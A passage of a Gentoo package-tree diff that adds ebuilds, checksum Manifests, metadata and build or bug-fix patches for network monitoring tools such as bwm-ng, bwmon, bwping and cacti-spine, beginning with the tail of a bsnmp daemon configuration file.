+# The default value of the community strings is NULL (note, that this is
+# different from the empty string). This disables both read and write access.
+# To enable read access only the read community string must be set. Setting
+# the write community string enables both read and write access with that
+# string.
+#
+# Be sure to understand the security implications of SNMPv2 - the community
+# strings are readable on the wire!
+#
+begemotSnmpdCommunityString.0.1 = $(read)
+# begemotSnmpdCommunityString.0.2 = $(write)
+begemotSnmpdCommunityDisable = 1
+
+# open standard SNMP ports
+begemotSnmpdPortStatus.0.0.0.0.161 = 1
+
+# open a unix domain socket
+begemotSnmpdLocalPortStatus."/var/run/snmpd.sock" = 1
+begemotSnmpdLocalPortType."/var/run/snmpd.sock" = 4
+
+# send traps to the traphost
+begemotTrapSinkStatus.[$(traphost)].$(trapport) = 4
+begemotTrapSinkVersion.[$(traphost)].$(trapport) = 2
+begemotTrapSinkComm.[$(traphost)].$(trapport) = $(trap)
+
+sysContact = $(contact)
+sysLocation = $(location)
+sysObjectId = 1.3.6.1.4.1.12325.1.1.2.1.$(system)
+
+snmpEnableAuthenTraps = 2
+
+#
+# Load MIB-2 module
+#
+begemotSnmpdModulePath."mibII" = "/usr/lib/libsnmp_mibII.so.3.0"
+
+# Force a polling rate for the 64-bit interface counters in case
+# the automatic computation is wrong (which may be the case if an interface
+# announces the wrong bit rate via its MIB).
+#%mibII
+#begemotIfForcePoll = 2000
+
+#
+# Netgraph module
+#
+#begemotSnmpdModulePath."netgraph" = "/usr/lib/snmp_netgraph.so"
+#
+#%netgraph
+#begemotNgControlNodeName = "snmpd"
+
+#
+# pf(4) module
+#
+#begemotSnmpdModulePath."pf" = "/usr/lib/snmp_pf.so"
+
+#
+# Host resources module
+# This requires the mibII module.
+#
+#begemotSnmpdModulePath."hostres" = "/usr/lib/snmp_hostres.so"
+
+#
+# Bridge module
+# This requires the mibII module.
+#
+#begemotSnmpdModulePath."bridge" = "/usr/lib/snmp_bridge.so"
+
diff --git a/net-analyzer/bsnmp/files/werror.patch b/net-analyzer/bsnmp/files/werror.patch
new file mode 100644
index 000000000000..7a0968e84441
--- /dev/null
+++ b/net-analyzer/bsnmp/files/werror.patch
@@ -0,0 +1,11 @@
+--- bsnmp-1.12/config/Makefile.pre.old 2012-04-26 10:45:58.000000000 -0400
++++ bsnmp-1.12/config/Makefile.pre 2012-04-26 10:46:11.000000000 -0400
+@@ -53,7 +53,7 @@
+ # Assume a Posix-ish make that passes MAKEFLAGS in the environment.
+ SUBMAKE= $(MAKE) --no-print-directory
+
+-WARNS= -Wsystem-headers -Werror -Wall -Wno-format-y2k -W \
++WARNS= -Wsystem-headers -Wall -Wno-format-y2k -W \
+ -Wstrict-prototypes -Wmissing-prototypes \
+ -Wpointer-arith -Wreturn-type -Wcast-qual \
+ -Wwrite-strings -Wswitch -Wshadow -Wcast-align \
diff --git a/net-analyzer/bsnmp/metadata.xml b/net-analyzer/bsnmp/metadata.xml
new file mode 100644
index 000000000000..ecedda4aa2cc
--- /dev/null
+++ b/net-analyzer/bsnmp/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>bsd</herd>
+</pkgmetadata>
diff --git a/net-analyzer/bwbar/Manifest b/net-analyzer/bwbar/Manifest
new file mode 100644
index 000000000000..d9ab4bd216dc
--- /dev/null
+++ b/net-analyzer/bwbar/Manifest
@@ -0,0 +1 @@
+DIST bwbar-1.2.3.tar.bz2 30202 SHA256 d82f8ba7defbdb9ae6671cbd7a064597a2a717ee6eeb32df6093403e8a86d1c1 SHA512 cb534f50007db6e39aa134d0d9a08ec6935c8a393f8dd5ab80f3c6ef94048821e065cd6c1be80657a2d6338fd16a73dcc0f89f5b15aba9e3bd38f0737a6d43c4 WHIRLPOOL acc5b09305f1d4f827bdf11098f23c8e3b2353343b83166b6168e9d39c5233acdd10fbfa9b302346f02c42073e0196dc8593bdfc03c25cabcc75264bf178e679
diff --git a/net-analyzer/bwbar/bwbar-1.2.3.ebuild b/net-analyzer/bwbar/bwbar-1.2.3.ebuild
new file mode 100644
index 000000000000..681a9c7ec1d9
--- /dev/null
+++ b/net-analyzer/bwbar/bwbar-1.2.3.ebuild
@@ -0,0 +1,26 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils
+
+DESCRIPTION="The kernel.org \"Current bandwidth utilization\" bar"
+HOMEPAGE="http://www.kernel.org/pub/software/web/bwbar/"
+SRC_URI="mirror://kernel/software/web/bwbar/${P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 x86"
+
+RDEPEND=">=media-libs/libpng-1.2"
+DEPEND="${RDEPEND}"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-libpng15.patch
+}
+
+src_install() {
+ dobin bwbar
+ dodoc README
+}
diff --git a/net-analyzer/bwbar/files/bwbar-1.2.3-libpng15.patch b/net-analyzer/bwbar/files/bwbar-1.2.3-libpng15.patch
new file mode 100644
index 000000000000..4d1bd67c6d34
--- /dev/null
+++ b/net-analyzer/bwbar/files/bwbar-1.2.3-libpng15.patch
@@ -0,0 +1,19 @@
+--- a/bwbar.c
++++ b/bwbar.c
+@@ -30,6 +30,7 @@
+ #include <alloca.h>
+ #include <getopt.h>
+ #include <png.h>
++#include <zlib.h>
+
+ void skipline(FILE *f)
+ {
+@@ -79,7 +80,7 @@
+ if ( !info_ptr )
+ goto barf;
+
+- if ( setjmp(png_ptr->jmpbuf) ) {
++ if ( setjmp(png_jmpbuf(png_ptr)) ) {
+ status = 1;
+ goto barf; /* libpng abort */
+ }
diff --git a/net-analyzer/bwbar/metadata.xml b/net-analyzer/bwbar/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/bwbar/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/bwm-ng/Manifest b/net-analyzer/bwm-ng/Manifest
new file mode 100644
index 000000000000..eb0a4d148c88
--- /dev/null
+++ b/net-analyzer/bwm-ng/Manifest
@@ -0,0 +1 @@
+DIST bwm-ng-0.6.tar.gz 141564 SHA256 c1134358e268329d438b0996399003b0f0b966034fb4b5b138761c2f3c62ffdd SHA512 7327ec848b0c18d68b2cb0a0ca570bb4d783b534186868d13b453346dbf3ddbcd7e1070803406ff207dc1fd00aa91c06187b0ea7fea28c6c006b44165331c21b WHIRLPOOL 45cc30b6a99ed9c267095e6dca170380be3da698e7b8aab50436d51ea914714facf954b9c26e465f47a1bcd59ca3fbd5511cd654b42fd9d4a5131e2f5bbca233
diff --git a/net-analyzer/bwm-ng/bwm-ng-0.6-r1.ebuild b/net-analyzer/bwm-ng/bwm-ng-0.6-r1.ebuild
new file mode 100644
index 000000000000..a7edfb7ef70b
--- /dev/null
+++ b/net-analyzer/bwm-ng/bwm-ng-0.6-r1.ebuild
@@ -0,0 +1,29 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+DESCRIPTION="Bandwidth Monitor NG is a small and simple console-based bandwidth monitor"
+SRC_URI="http://www.gropp.org/bwm-ng/${P}.tar.gz"
+HOMEPAGE="http://www.gropp.org/"
+
+KEYWORDS="amd64 ~arm ppc x86"
+LICENSE="GPL-2"
+SLOT="0"
+IUSE="html csv"
+
+DEPEND=">=sys-libs/ncurses-5.4-r4
+ >=sys-apps/net-tools-1.60-r1"
+
+RDEPEND="${DEPEND}"
+
+DOCS=( AUTHORS ChangeLog INSTALL NEWS README THANKS )
+
+src_configure() {
+ econf \
+ --with-ncurses \
+ --with-procnetdev \
+ $(use_enable html) \
+ $(use_enable csv)
+}
diff --git a/net-analyzer/bwm-ng/metadata.xml b/net-analyzer/bwm-ng/metadata.xml
new file mode 100644
index 000000000000..6927b1f6ed79
--- /dev/null
+++ b/net-analyzer/bwm-ng/metadata.xml
@@ -0,0 +1,11 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<maintainer>
+ <email>maintainer-needed@gentoo.org</email>
+</maintainer>
+<use>
+<flag name='csv'>Enable csv output</flag>
+<flag name='html'>Enable html output</flag>
+</use>
+</pkgmetadata>
diff --git a/net-analyzer/bwmon/Manifest b/net-analyzer/bwmon/Manifest
new file mode 100644
index 000000000000..23a0bc7e5212
--- /dev/null
+++ b/net-analyzer/bwmon/Manifest
@@ -0,0 +1 @@
+DIST bwmon-1.3.tar.gz 5668 SHA256 624381208d0faae6c123bc6198a59d6c4316cd4fffb1ba5aca206374f5a42df6 SHA512 6552ba03f0cfe7d2adebe7ae49379cc109b4f8da56dafec1264ac39c114809c7cde161f6321a67516b22b04abbad5d1ab3b4efb313479ad131fb20638c6871e8 WHIRLPOOL 1b05208fdae45881b3175f5f84fe5d816c1d0db182ccb34be1b61e3f2e14bde5cb627dda0ded10cb1f21490277eb6d5c3cd3456001854e0dd418cca6d63cb8d1
diff --git a/net-analyzer/bwmon/bwmon-1.3-r2.ebuild b/net-analyzer/bwmon/bwmon-1.3-r2.ebuild
new file mode 100644
index 000000000000..e54f6d2ef235
--- /dev/null
+++ b/net-analyzer/bwmon/bwmon-1.3-r2.ebuild
@@ -0,0 +1,37 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils toolchain-funcs
+
+DESCRIPTION="Simple ncurses bandwidth monitor"
+HOMEPAGE="http://bwmon.sourceforge.net/"
+SRC_URI="mirror://sourceforge/${PN}/${P}.tar.gz"
+
+RDEPEND="sys-libs/ncurses"
+DEPEND="
+ ${RDEPEND}
+ virtual/pkgconfig
+"
+
+SLOT="0"
+LICENSE="GPL-2 public-domain"
+KEYWORDS="amd64 hppa ppc sparc x86"
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${P}-build.patch \
+ "${FILESDIR}"/${P}-typo-fix.patch \
+ "${FILESDIR}"/${P}-overflow.patch \
+ "${FILESDIR}"/${P}-tinfo.patch
+}
+
+src_compile() {
+ emake -C src CC="$(tc-getCC)" PKG_CONFIG="$(tc-getPKG_CONFIG)"
+}
+
+src_install () {
+ dobin ${PN}
+ dodoc README
+}
diff --git a/net-analyzer/bwmon/files/bwmon-1.3-build.patch b/net-analyzer/bwmon/files/bwmon-1.3-build.patch
new file mode 100644
index 000000000000..6d4eadf15551
--- /dev/null
+++ b/net-analyzer/bwmon/files/bwmon-1.3-build.patch
@@ -0,0 +1,22 @@
+--- a/src/Makefile
++++ b/src/Makefile
+@@ -10,8 +10,8 @@ CC = gcc
+ RM = /bin/rm
+ INSTALL = install
+
+-CFLAGS = -I../include -Wall -D__THREADS
+-LDFLAGS = -lpthread -lncurses
++CFLAGS += -I../include -Wall -D__THREADS
++LIBS = -lpthread -lncurses
+
+ SRC = bwmon.c
+ OBJS = $(SRC:.c=.o)
+@@ -19,7 +19,7 @@ OBJS = $(SRC:.c=.o)
+ all: bwmon
+
+ bwmon: $(OBJS)
+- $(CC) $(LDFLAGS) -o ../$@ $(OBJS)
++ $(CC) $(CFLAGS) $(LDFLAGS) -o ../$@ $(OBJS) $(LIBS)
+
+ clean:
+ @for i in $(OBJS) *~ core bwmon; do \
diff --git a/net-analyzer/bwmon/files/bwmon-1.3-overflow.patch b/net-analyzer/bwmon/files/bwmon-1.3-overflow.patch
new file mode 100644
index 000000000000..052d1d766351
--- /dev/null
+++ b/net-analyzer/bwmon/files/bwmon-1.3-overflow.patch
@@ -0,0 +1,20 @@
+--- a/src/bwmon.c
++++ b/src/bwmon.c
+@@ -408,7 +408,7 @@ bool_t
+ print_uptime(float * uptime)
+ {
+ unsigned int tmp = 0, hour = 0, min = 0, sec = 0;
+- char hostname[30];
++ char hostname[50];
+
+ tmp = (uint)(*uptime);
+ sec = tmp % 60;
+@@ -418,7 +418,7 @@ print_uptime(float * uptime)
+ hour = tmp % 24;
+ tmp = (tmp - hour) / 24;
+
+- if (gethostname(hostname, strlen(hostname)) != 0)
++ if (gethostname(hostname, sizeof(hostname)) != 0)
+ strcpy(hostname, "System");
+
+ printw("\n%s uptime: %u day%c %u hour%c %u minutes and %u seconds\n",
diff --git a/net-analyzer/bwmon/files/bwmon-1.3-tinfo.patch b/net-analyzer/bwmon/files/bwmon-1.3-tinfo.patch
new file mode 100644
index 000000000000..df0bb06cb968
--- /dev/null
+++ b/net-analyzer/bwmon/files/bwmon-1.3-tinfo.patch
@@ -0,0 +1,11 @@
+--- a/src/Makefile
++++ b/src/Makefile
+@@ -11,7 +11,7 @@
+ INSTALL = install
+
+ CFLAGS += -I../include -Wall -D__THREADS
+-LIBS = -lpthread -lncurses
++LIBS = -lpthread $(shell ${PKG_CONFIG} --libs ncurses)
+
+ SRC = bwmon.c
+ OBJS = $(SRC:.c=.o)
diff --git a/net-analyzer/bwmon/files/bwmon-1.3-typo-fix.patch b/net-analyzer/bwmon/files/bwmon-1.3-typo-fix.patch
new file mode 100644
index 000000000000..36f6af8e5ee6
--- /dev/null
+++ b/net-analyzer/bwmon/files/bwmon-1.3-typo-fix.patch
@@ -0,0 +1,11 @@
+--- a/src/bwmon.c
++++ b/src/bwmon.c
+@@ -36,7 +36,7 @@
+ "by Kimmo Nupponen (kimmoon@users.sourceforge.net)\n"
+ "$Date: 2014/07/10 19:51:24 $\n\n"
+ "usage: %s [-b] [-h] [-a] [-m] [-u seconds]\n"
+- "\t-a Print bandwidth utiliasation in Kbytes rather than Kbits. The default\n"
++ "\t-b Print bandwidth utilisation in KBytes rather than Kbits. The default\n"
+ "\t is to use Kbits\n"
+ "\t-a Print also average bandwidth since last boot per interface\n"
+ "\t-m Print maximum bandwidth since launch of this utility\n"
diff --git a/net-analyzer/bwmon/metadata.xml b/net-analyzer/bwmon/metadata.xml
new file mode 100644
index 000000000000..27806ec6db3f
--- /dev/null
+++ b/net-analyzer/bwmon/metadata.xml
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <longdescription>Simple ncurses bandwidth monitor</longdescription>
+ <upstream>
+ <remote-id type="sourceforge">bwmon</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/bwping/Manifest b/net-analyzer/bwping/Manifest
new file mode 100644
index 000000000000..b2bc34a63695
--- /dev/null
+++ b/net-analyzer/bwping/Manifest
@@ -0,0 +1 @@
+DIST bwping-1.7.tar.gz 90441 SHA256 a73db87b47d363d722cd60473a546930a5e78df8d21437191ba4ca06d7197297 SHA512 74b695a80c2fa54693af1afab78417dc6ca35130bbd9367950681ddbbebe36b38166068532e8296f336c5cad8230339b4fb4fb975f4b066cdacba8a99179cac7 WHIRLPOOL 41567722306d0ee72bad2ba9802bf399f0b435848a11d075bb89f746487c06ab16484056f54223b5cbea26e2855f2273b52a1247743c7cc77ad89beb26c3da01
diff --git a/net-analyzer/bwping/bwping-1.7-r1.ebuild b/net-analyzer/bwping/bwping-1.7-r1.ebuild
new file mode 100644
index 000000000000..b3faf3c923f4
--- /dev/null
+++ b/net-analyzer/bwping/bwping-1.7-r1.ebuild
@@ -0,0 +1,28 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+AUTOTOOLS_AUTORECONF=1
+inherit autotools-utils
+
+DESCRIPTION="A tool to measure bandwidth and RTT between two hosts using ICMP"
+HOMEPAGE="http://bwping.sourceforge.net/"
+SRC_URI="mirror://sourceforge/${PN}/${PV}/${P}.tar.gz"
+
+LICENSE="BSD"
+SLOT="0"
+KEYWORDS="amd64 ~sparc x86 ~x86-fbsd"
+IUSE="ipv6"
+
+#PATCHES=(
+# "${FILESDIR}/${P}-buildsystem-configurable-ipv6.patch" # bug 454256
+#)
+
+src_configure() {
+ local myeconfargs=(
+ $(use_enable ipv6)
+ )
+ autotools-utils_src_configure
+}
diff --git a/net-analyzer/bwping/files/bwping-1.7-buildsystem-configurable-ipv6.patch b/net-analyzer/bwping/files/bwping-1.7-buildsystem-configurable-ipv6.patch
new file mode 100644
index 000000000000..306b2b9fd22c
--- /dev/null
+++ b/net-analyzer/bwping/files/bwping-1.7-buildsystem-configurable-ipv6.patch
@@ -0,0 +1,55 @@
+Index: bwping-1.7/configure.in
+===================================================================
+--- bwping-1.7.orig/configure.in
++++ bwping-1.7/configure.in
+@@ -32,9 +32,30 @@ AC_CHECK_FUNC(getaddrinfo)
+ if test $ac_cv_func_getaddrinfo = no; then
+ AC_SEARCH_LIBS(getaddrinfo, [nsl socket], [], [ echo "getaddrinfo() is required for build"; exit -1 ])
+ fi
+-AC_MSG_CHECKING(for IPv6 support)
+-AC_CACHE_VAL(ac_cv_ipv6,
+- AC_TRY_RUN([
++
++AC_ARG_ENABLE(ipv6,
++ AC_HELP_STRING([--disable-ipv6],[disable IPv6 support]),
++ [case "${enable_ipv6}" in
++ no)
++ ipv6=no
++ ;;
++ yes)
++ ipv6=yes
++ ;;
++ *)
++ AC_MSG_ERROR([Invalid --enable-ipv6 argument '$enable_ipv6'])
++ ;;
++ esac
++ ], [
++ dnl If nothing is specified, assume auto-detection
++ ipv6=yes
++ ]
++)
++
++if test $ipv6 = yes; then
++ AC_MSG_CHECKING(for IPv6 support)
++ AC_CACHE_VAL(ac_cv_ipv6,
++ AC_TRY_LINK([
+ #include <sys/types.h>
+ #include <sys/socket.h>
+ #include <netinet/in.h>
+@@ -54,9 +75,12 @@ main()
+ ac_cv_ipv6=yes,
+ ac_cv_ipv6=no,
+ ac_cv_ipv6=no))
+-AC_MSG_RESULT($ac_cv_ipv6)
+-if test $ac_cv_ipv6 = yes ; then
+- AC_DEFINE(IPV6,, "check if system supports IPV6")
++ if test $ac_cv_ipv6 = yes ; then
++ AC_DEFINE(IPV6,, "check if system supports IPV6")
++ else
++ AC_MSG_ERROR([IPv6 support was request, but not found])
++ fi
++ AC_MSG_RESULT($ac_cv_ipv6)
+ fi
+-AM_CONDITIONAL([BUILDIPV6], [ test $ac_cv_ipv6 = yes ])
++AM_CONDITIONAL([BUILDIPV6], [ test $ipv6 = yes ])
+ AC_OUTPUT(Makefile)
diff --git a/net-analyzer/bwping/metadata.xml b/net-analyzer/bwping/metadata.xml
new file mode 100644
index 000000000000..905c8f0a5329
--- /dev/null
+++ b/net-analyzer/bwping/metadata.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <maintainer>
+ <email>hwoarang@gentoo.org</email>
+ <name>Markos Chandras</name>
+ </maintainer>
+ <upstream>
+ <maintainer>
+ <email>oleg.derevenetz@gmail.com</email>
+ <name>Oleg Derevenetz</name>
+ </maintainer>
+ <remote-id type="sourceforge">bwping</remote-id>
+ </upstream>
+ <longdescription>
+ A tool to measure bandwidth and response times between two hosts using
+ Internet Control Message Protocol (ICMP) echo request/echo reply mechanism.
+ </longdescription>
+</pkgmetadata>
diff --git a/net-analyzer/cacti-spine/Manifest b/net-analyzer/cacti-spine/Manifest
new file mode 100644
index 000000000000..f93518e3d521
--- /dev/null
+++ b/net-analyzer/cacti-spine/Manifest
@@ -0,0 +1,2 @@
+DIST cacti-spine-0.8.8e.tar.gz 757042 SHA256 e014488acffd4dd3a88306c3809e93a89c8538a050c2a58a9666e4c04c004b92 SHA512 165e93d4cce3378e911aec41fcd68fb541d82d849ebf3e2e28e0ddb65027ff2eb77d488acbaa133244091cd02adb58d8f74ea5abc36abed07af9ea72bc104f40 WHIRLPOOL 59442f54fbb8956a945404f374eba848bc21b60d53dacb025132a91dc077115aa65ee30959ba81fb521beb9732c1c5944adb1c555a36ad6ea72898172404970c
+DIST cacti-spine-0.8.8f.tar.gz 757078 SHA256 d0599239187f2f5a29f82b809e6941447f18bb7b170cd42e67455633b195e3c7 SHA512 8c5e1713bb1d41227cef6047e5348ef33b90b5591976cf24390abbf1e5c68de6714f785d9517ca9aed21b42b6b8772512af176b9f62bf18d6d74d949a6359a22 WHIRLPOOL 70545057f80d5cc5940059179bc3b72eabf48ff61c5eed5b0b344e995eb1411e3a89359e8c0b6bc3850b029233597d581ece59a99c6653ac7cfd028ef2e24232
diff --git a/net-analyzer/cacti-spine/cacti-spine-0.8.8e.ebuild b/net-analyzer/cacti-spine/cacti-spine-0.8.8e.ebuild
new file mode 100644
index 000000000000..f46332095f98
--- /dev/null
+++ b/net-analyzer/cacti-spine/cacti-spine-0.8.8e.ebuild
@@ -0,0 +1,46 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils
+
+MY_P=${PN}-${PV/_p/-}
+
+DESCRIPTION="Spine is a fast poller for Cacti (formerly known as Cactid)"
+HOMEPAGE="http://cacti.net/spine_info.php"
+SRC_URI="http://www.cacti.net/downloads/spine/${MY_P}.tar.gz"
+
+LICENSE="LGPL-2.1"
+SLOT="0"
+KEYWORDS="amd64 hppa ~ppc ~ppc64 sparc x86"
+
+DEPEND="
+ dev-libs/openssl:*
+ net-analyzer/net-snmp
+ virtual/mysql
+"
+RDEPEND="
+ ${DEPEND}
+ >net-analyzer/cacti-0.8.8
+"
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${PN}-0.8.8e-fix-ac-macro.patch \
+ "${FILESDIR}"/${PN}-0.8.8e-net-snmp.patch \
+ "${FILESDIR}"/${PN}-0.8.8d-mysql.patch \
+ "${FILESDIR}"/${PN}-0.8.8d-ping.patch \
+ "${FILESDIR}"/${PN}-0.8.8d-snmp_spine_close.patch
+
+ sed -i -e 's/^bin_PROGRAMS/sbin_PROGRAMS/' Makefile.am
+ AT_M4DIR="config" eautoreconf
+}
+
+src_install() {
+ dosbin spine
+ insinto /etc/
+ insopts -m0640 -o root
+ newins spine.conf{.dist,}
+ dodoc ChangeLog README
+}
diff --git a/net-analyzer/cacti-spine/cacti-spine-0.8.8f.ebuild b/net-analyzer/cacti-spine/cacti-spine-0.8.8f.ebuild
new file mode 100644
index 000000000000..81e07ffbb733
--- /dev/null
+++ b/net-analyzer/cacti-spine/cacti-spine-0.8.8f.ebuild
@@ -0,0 +1,46 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils
+
+MY_P=${PN}-${PV/_p/-}
+
+DESCRIPTION="Spine is a fast poller for Cacti (formerly known as Cactid)"
+HOMEPAGE="http://cacti.net/spine_info.php"
+SRC_URI="http://www.cacti.net/downloads/spine/${MY_P}.tar.gz"
+
+LICENSE="LGPL-2.1"
+SLOT="0"
+KEYWORDS="~amd64 ~hppa ~ppc ~ppc64 ~sparc ~x86"
+
+DEPEND="
+ dev-libs/openssl:*
+ net-analyzer/net-snmp
+ virtual/mysql
+"
+RDEPEND="
+ ${DEPEND}
+ >net-analyzer/cacti-0.8.8
+"
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${PN}-0.8.8f-fix-ac-macro.patch \
+ "${FILESDIR}"/${PN}-0.8.8e-net-snmp.patch \
+ "${FILESDIR}"/${PN}-0.8.8d-mysql.patch \
+ "${FILESDIR}"/${PN}-0.8.8d-ping.patch \
+ "${FILESDIR}"/${PN}-0.8.8d-snmp_spine_close.patch
+
+ sed -i -e 's/^bin_PROGRAMS/sbin_PROGRAMS/' Makefile.am
+ AT_M4DIR="config" eautoreconf
+}
+
+src_install() {
+ dosbin spine
+ insinto /etc/
+ insopts -m0640 -o root
+ newins spine.conf{.dist,}
+ dodoc ChangeLog README
+}
diff --git a/net-analyzer/cacti-spine/files/cacti-spine-0.8.8d-mysql.patch b/net-analyzer/cacti-spine/files/cacti-spine-0.8.8d-mysql.patch
new file mode 100644
index 000000000000..d60653678a2c
--- /dev/null
+++ b/net-analyzer/cacti-spine/files/cacti-spine-0.8.8d-mysql.patch
@@ -0,0 +1,11 @@
+--- a/configure.ac
++++ b/configure.ac
+@@ -239,7 +239,7 @@
+ fi
+ CFLAGS="-I$MYSQL_INC_DIR $CFLAGS"
+
+-AC_CHECK_LIB(mysqlclient_r,mysql_init, LIBS="-lmysqlclient_r",
++AC_CHECK_LIB(mysqlclient_r,mysql_init, LIBS="$LIBS -lmysqlclient_r",
+ AC_MSG_ERROR([MySQL libraries not found])
+ )
+
diff --git a/net-analyzer/cacti-spine/files/cacti-spine-0.8.8d-ping.patch b/net-analyzer/cacti-spine/files/cacti-spine-0.8.8d-ping.patch
new file mode 100644
index 000000000000..0d94674ce5a3
--- /dev/null
+++ b/net-analyzer/cacti-spine/files/cacti-spine-0.8.8d-ping.patch
@@ -0,0 +1,11 @@
+--- a/ping.c
++++ b/ping.c
+@@ -813,7 +813,7 @@
+ int rv;
+
+ buf = malloc(len*sizeof(char));
+- memset(buf, 0, sizeof(buf));
++ memset(buf, 0, len*sizeof(char));
+
+ while (1) {
+ rv = gethostbyname_r(hostname, &result_buf, buf, len,
diff --git a/net-analyzer/cacti-spine/files/cacti-spine-0.8.8d-snmp_spine_close.patch b/net-analyzer/cacti-spine/files/cacti-spine-0.8.8d-snmp_spine_close.patch
new file mode 100644
index 000000000000..f39e8c6575e1
--- /dev/null
+++ b/net-analyzer/cacti-spine/files/cacti-spine-0.8.8d-snmp_spine_close.patch
@@ -0,0 +1,10 @@
+--- a/snmp.h
++++ b/snmp.h
+@@ -32,6 +32,7 @@
+ */
+
+ extern void snmp_spine_init(void);
++extern void snmp_spine_close(void);
+ extern void *snmp_host_init(int host_id, char *hostname, int snmp_version, char *snmp_community, char *snmp_username, char *snmp_password, char *snmp_auth_protocol, char *snmp_priv_passphrase, char *snmp_priv_protocol, char *snmp_context, int snmp_port, int snmp_timeout);
+ extern void snmp_host_cleanup(void *snmp_session);
+ extern char *snmp_get(host_t *current_host, char *snmp_oid);
diff --git a/net-analyzer/cacti-spine/files/cacti-spine-0.8.8e-fix-ac-macro.patch b/net-analyzer/cacti-spine/files/cacti-spine-0.8.8e-fix-ac-macro.patch
new file mode 100644
index 000000000000..5249cdf9386b
--- /dev/null
+++ b/net-analyzer/cacti-spine/files/cacti-spine-0.8.8e-fix-ac-macro.patch
@@ -0,0 +1,11 @@
+--- a/configure.ac
++++ b/configure.ac
+@@ -10,7 +10,7 @@
+ AC_LANG(C)
+
+ AM_INIT_AUTOMAKE(spine, 0.8.8e)
+-AM_CONFIG_HEADER(config/config.h)
++AC_CONFIG_HEADERS(config/config.h)
+
+ # static libraries
+ AC_ARG_WITH(static,
diff --git a/net-analyzer/cacti-spine/files/cacti-spine-0.8.8e-net-snmp.patch b/net-analyzer/cacti-spine/files/cacti-spine-0.8.8e-net-snmp.patch
new file mode 100644
index 000000000000..c96bbc9a7322
--- /dev/null
+++ b/net-analyzer/cacti-spine/files/cacti-spine-0.8.8e-net-snmp.patch
@@ -0,0 +1,19 @@
+--- a/configure.ac
++++ b/configure.ac
+@@ -254,14 +254,14 @@
+ )
+
+ AC_MSG_CHECKING([if Net-SNMP needs crypto support])
+-AC_TRY_COMPILE([#include <net-snmp-config.h>], [exit(USE_OPENSSL != 1);],
++AC_TRY_COMPILE([#include <net-snmp/net-snmp-config.h>], [exit(USE_OPENSSL != 1);],
+ [ AC_MSG_RESULT(yes)
+ SNMP_SSL=yes
+ ],
+ AC_MSG_RESULT(no)
+ )
+
+-AC_TRY_COMPILE([ #include <net-snmp-config.h>
++AC_TRY_COMPILE([ #include <net-snmp/net-snmp-config.h>
+ #include <net-snmp/utilities.h>
+ #include <net-snmp/net-snmp-includes.h>
+ #include <net-snmp/config_api.h>
diff --git a/net-analyzer/cacti-spine/files/cacti-spine-0.8.8f-fix-ac-macro.patch b/net-analyzer/cacti-spine/files/cacti-spine-0.8.8f-fix-ac-macro.patch
new file mode 100644
index 000000000000..a879d5e0bf96
--- /dev/null
+++ b/net-analyzer/cacti-spine/files/cacti-spine-0.8.8f-fix-ac-macro.patch
@@ -0,0 +1,11 @@
+--- a/configure.ac
++++ b/configure.ac
+@@ -10,7 +10,7 @@
+ AC_LANG(C)
+
+ AM_INIT_AUTOMAKE(spine, 0.8.8f)
+-AM_CONFIG_HEADER(config/config.h)
++AC_CONFIG_HEADERS(config/config.h)
+
+ # static libraries
+ AC_ARG_WITH(static,
diff --git a/net-analyzer/cacti-spine/metadata.xml b/net-analyzer/cacti-spine/metadata.xml
new file mode 100644
index 000000000000..18ad94010831
--- /dev/null
+++ b/net-analyzer/cacti-spine/metadata.xml
@@ -0,0 +1,14 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <longdescription lang="en">
+ Spine (formerly known as Cactid) is a poller for Cacti that primarily
+ strives to be as fast as possible. For this reason it is written in
+ native C, makes use of POSIX threads, and is linked directly against the
+ net-snmp library for minmumal SNMP polling overhead. Spine is a
+ replacement for the default cmd.php poller so you must decide if using
+ Spine makes sense for your installation.
+ </longdescription>
+</pkgmetadata>
+
diff --git a/net-analyzer/cacti/Manifest b/net-analyzer/cacti/Manifest
new file mode 100644
index 000000000000..1ab0eaa53a73
